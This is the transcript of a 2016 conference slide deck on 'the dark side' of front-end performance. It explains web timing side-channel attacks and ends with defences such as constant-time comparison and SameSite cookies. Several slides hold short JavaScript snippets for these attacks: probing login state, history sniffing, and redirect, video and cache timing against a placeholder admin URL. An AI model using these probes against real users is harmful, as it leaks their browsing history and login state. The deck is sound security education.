Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Front-End Performance: The Dark Side @ ColdFront Conference 2016

Mathias Bynens
September 01, 2016

Front-End Performance: The Dark Side @ ColdFront Conference 2016

In security-sensitive situations, performance can actually be a bug rather than a feature. This presentation covers timing attacks on the web, and demonstrates how modern performance-related web APIs can sometimes have a negative security impact.

More information: https://dev.opera.com/blog/timing-attacks/

Mathias Bynens

September 01, 2016
Tweet

More Decks by Mathias Bynens

Other Decks in Technology

Transcript

  1. @mathias
    THE DARK SIDE
    FRONT-END PERFORMANCE

    View Slide

  2. @mathias

    View Slide

  3. @mathias
    THE DARK SIDE
    FRONT-END PERFORMANCE

    View Slide

  4. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('Spring', 'Zpring');
    // → false @ 200 μs

    View Slide

  5. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('ColdFront', 'ColdFront');
    // → true @ 1000 μs
    compare('ColdFront', 'ColdFrond');
    // → false @ 1000 μs
    compare('Pikachu', 'Pichu');
    // → false @ 100 μs
    compare('CSS', 'XSS');
    // → false @ 200 μs

    View Slide

  6. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('ColdFront', 'ColdFront');
    // → true @ 1000 μs
    compare('ColdFront', 'ColdFrond');
    // → false @ 1000 μs
    compare('Pikachu', 'Pichu');
    // → false @ 100 μs
    compare('CSS', 'XSS');
    // → false @ 200 μs

    View Slide

  7. @mathias
    function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
    return false; // performance optimization #1
    }
    for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
    return false; // performance optimization #2
    }
    }
    return true; // worst-case perf scenario
    }

    View Slide

  8. @mathias
    compare('ColdFront', 'ColdFront');
    // → true @ 1000 μs
    compare('ColdFront', 'ColdFrond');
    // → false @ 1000 μs [opt. #2]
    compare('Pikachu', 'Pichu');
    // → false @ 100 μs [opt. #1]
    compare('CSS', 'XSS');
    // → false @ 200 μs [opt. #2]

    View Slide

  9. @mathias
    SIDE-CHANNEL LEAK

    View Slide

  10. @mathias
    TIMING ATTACK

    View Slide

  11. @mathias
    compare($userInput, $secret);

    View Slide

  12. @mathias
    function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
    return false; // performance optimization #1
    // allows attackers to figure out expected length
    }
    for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
    return false; // performance optimization #2
    // allows attackers to figure out expected
    // characters, one by one (except the last one)
    }
    }
    return true; // worst-case perf scenario
    }

    View Slide

  13. @mathias
    function safeCompare(a, b) {
    const lengthA = a.length;
    let result = 0;
    if (lengthA !== b.length) {
    b = a;
    result = 1;
    }
    for (let index = 0; index < lengthA; index++) {
    result |= (
    a.charCodeAt(index) ^ b.charCodeAt(index)
    ); // XOR
    }
    return result === 0;
    }

    View Slide

  14. @mathias
    STEALING BROWSING HISTORY

    View Slide

  15. @mathias
    :link {
    color: green;
    }
    :visited {
    color: red;
    }

    View Slide

  16. @mathias

    Facebook
    Twitter
    Reddit
    Instagram
    GitHub

    View Slide

  17. @mathias
    const links = document.querySelector(':visited');
    for (const link of links) {
    console.log(`The user has visited ${ link.href }!`);
    }

    View Slide

  18. @mathias
    const links = document.querySelector(':visited');
    for (const link of links) {
    console.log(`The user has visited ${ link.href }!`);
    }
    not a timing attack

    View Slide

  19. @mathias
    for (const link of document.links) {
    const color = getComputedStyle(link).color;
    if (color === 'rgb(255, 0, 0)') {
    // The color is red, i.e. `:visited` applies.
    console.log(`The user has visited ${ link.href }!`);
    }
    }

    View Slide

  20. @mathias
    for (const link of document.links) {
    const color = getComputedStyle(link).color;
    if (color === 'rgb(255, 0, 0)') {
    // The color is red, i.e. `:visited` applies.
    console.log(`The user has visited ${ link.href }!`);
    }
    }
    not a timing attack

    View Slide

  21. @mathias
    /* CSS */
    :link {
    /* Increasing blur-radius makes (re-)rendering */
    /* links slower. */
    text-shadow: 100px 100px 199px #000;
    }
    /* JavaScript */
    requestAnimationFrame(timeEachFrame);

    View Slide

  22. @mathias
    /* CSS */
    :link {
    /* Increasing blur-radius makes (re-)rendering */
    /* links slower. */
    text-shadow: 100px 100px 199px #000;
    }
    /* JavaScript */
    requestAnimationFrame(timeEachFrame);
    timing attack!!1

    View Slide

  23. @mathias
    SNIFFLY
    @BCRYPT

    View Slide

  24. @mathias

    View Slide

  25. @mathias
    SIMPLEST POSSIBLE TIMING ATTACK ON THE WEB

    View Slide

  26. @mathias
    const image = new Image();
    image.onerror = stopTimer;
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    startTimer();
    image.src = 'https://example.com/admin.php';

    View Slide

  27. @mathias
    const image = new Image();
    image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    const start = performance.now();
    image.src = 'https://example.com/admin.php';

    View Slide

  28. @mathias

    View Slide

  29. @mathias
    750 ms

    View Slide

  30. @mathias

    View Slide

  31. @mathias
    1250 ms

    View Slide

  32. @mathias
    const image = new Image();
    image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    const start = performance.now();
    image.src = 'https://example.com/admin.php';

    View Slide

  33. @mathias
    REDIRECT DETECTION ⏱ ATTACK
    @TOMVANGOETHEM

    View Slide

  34. @mathias
    const start = performance.now();
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function() {
    const entries = performance.getEntriesByName(url);
    const fetchStart = entries.pop().fetchStart;
    const delta = fetchStart - start;
    const isRedirect = delta > 10;
    if (isRedirect) {
    console.log(`The URL ${ url } is a redirect.`);
    } else {
    console.log(`The URL ${ url } is not a redirect.`);
    }
    });

    View Slide

  35. @mathias
    const start = performance.now();
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function() {
    const entries = performance.getEntriesByName(url);
    const fetchStart = entries.pop().fetchStart;
    const delta = fetchStart - start;
    const isRedirect = delta > 10;
    if (isRedirect) {
    console.log(`The URL ${ url } is a redirect.`);
    } else {
    console.log(`The URL ${ url } is not a redirect.`);
    }
    });

    View Slide

  36. @mathias
    const start = performance.now();
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function() {
    const entries = performance.getEntriesByName(url);
    const fetchStart = entries.pop().fetchStart;
    const delta = fetchStart - start;
    const isRedirect = delta > 10;
    if (isRedirect) {
    console.log(`The URL ${ url } is a redirect.`);
    } else {
    console.log(`The URL ${ url } is not a redirect.`);
    }
    });

    View Slide

  37. @mathias
    const start = performance.now();
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function() {
    const entries = performance.getEntriesByName(url);
    const fetchStart = entries.pop().fetchStart;
    const delta = fetchStart - start;
    const isRedirect = delta > 10;
    if (isRedirect) {
    console.log(`The URL ${ url } is a redirect.`);
    } else {
    console.log(`The URL ${ url } is not a redirect.`);
    }
    });

    View Slide

  38. @mathias
    const start = performance.now();
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function() {
    const entries = performance.getEntriesByName(url);
    const fetchStart = entries.pop().fetchStart;
    const delta = fetchStart - start;
    const isRedirect = delta > 10;
    if (isRedirect) {
    console.log(`The URL ${ url } is a redirect.`);
    } else {
    console.log(`The URL ${ url } is not a redirect.`);
    }
    });

    View Slide

  39. @mathias

    View Slide

  40. @mathias

    View Slide

  41. @mathias

    View Slide

  42. @mathias

    View Slide

  43. @mathias
    VIDEO PARSING ⏱ ATTACK
    @TOMVANGOETHEM

    View Slide

  44. @mathias
    const video = document.createElement('video');
    // `suspend` event == download complete
    video.onsuspend = startTimer;
    // `error` event == parsing complete
    video.onerror = stopTimer;
    video.src = 'https://example.com/admin.php';

    View Slide

  45. @mathias
    CACHE STORAGE ⏱ ATTACK
    @TOMVANGOETHEM

    View Slide

  46. @mathias
    const url = 'https://example.com/admin.php';
    const dummyRequest = new Request('dummy');
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function(response) {
    // The download has completed.
    startTimer();
    return cache.put(dummyRequest, response.clone());
    }).then(function() {
    // The resource has been stored in the cache.
    stopTimer();
    });

    View Slide

  47. @mathias

    View Slide

  48. @mathias

    View Slide

  49. @mathias

    View Slide

  50. @mathias

    View Slide

  51. @mathias

    View Slide

  52. @mathias
    30 ms

    View Slide

  53. @mathias

    View Slide

  54. @mathias
    15 ms

    View Slide

  55. @mathias

    View Slide

  56. @mathias

    View Slide

  57. @mathias

    View Slide

  58. @mathias

    View Slide

  59. @mathias
    "

    View Slide

  60. @mathias
    HEIST

    View Slide

  61. @mathias

    View Slide

  62. @mathias
    HTTP

    View Slide

  63. @mathias
    HTTP
    Encrypted

    View Slide

  64. @mathias
    HTTP
    Encrypted
    Information can be

    View Slide

  65. @mathias
    HTTP
    Encrypted
    Information can be
    Stolen through

    View Slide

  66. @mathias
    HTTP
    Encrypted
    Information can be
    Stolen through
    TCP windows

    View Slide

  67. @mathias
    mths.be/bvo

    View Slide

  68. @mathias
    “HEIST is a set of techniques that exploit timing side-channels in the
    browser […] to determine whether a response fitted into a single TCP
    window or whether it needed multiple. […] an attacker can determine
    the exact amount of bytes that were needed to send the response back
    to the client, all from within the browser. It so happens to be that
    knowing the exact size of a cross-origin resource is just what you need to
    launch a compression-based attack, which can be used to extract
    content (e.g. CSRF tokens) from any website using gzip compression.”

    View Slide

  69. @mathias
    “HEIST is a set of techniques that exploit timing side-channels in the
    browser […] to determine whether a response fitted into a single TCP
    window or whether it needed multiple. […] an attacker can determine
    the exact amount of bytes that were needed to send the response back
    to the client, all from within the browser. It so happens to be that
    knowing the exact size of a cross-origin resource is just what you need to
    launch a compression-based attack, which can be used to extract
    content (e.g. CSRF tokens) from any website using gzip compression.”

    View Slide

  70. @mathias
    PREVENTION

    View Slide

  71. @mathias
    SAME-SITE COOKIES

    View Slide

  72. @mathias
    Set-Cookie: key=value; HttpOnly; secure; SameSite=strict

    View Slide

  73. @mathias
    Set-Cookie: key=value; HttpOnly; secure; SameSite=strict

    View Slide

  74. @mathias
    Set-Cookie: key=value; HttpOnly; secure; SameSite=lax

    View Slide

  75. @mathias
    BLOCK THIRD-PARTY ###

    View Slide

  76. @mathias

    View Slide

  77. @mathias
    THANKS!
    Research by @pdjstone: mths.be/bvn
    Sniffly by @bcrypt: mths.be/buy
    Research by @tomvangoethem: mths.be/buz
    HEIST by @tomvangoethem & @vanhoefm: mths.be/bvp
    Introduction to Same-Site cookies: mths.be/bvq

    View Slide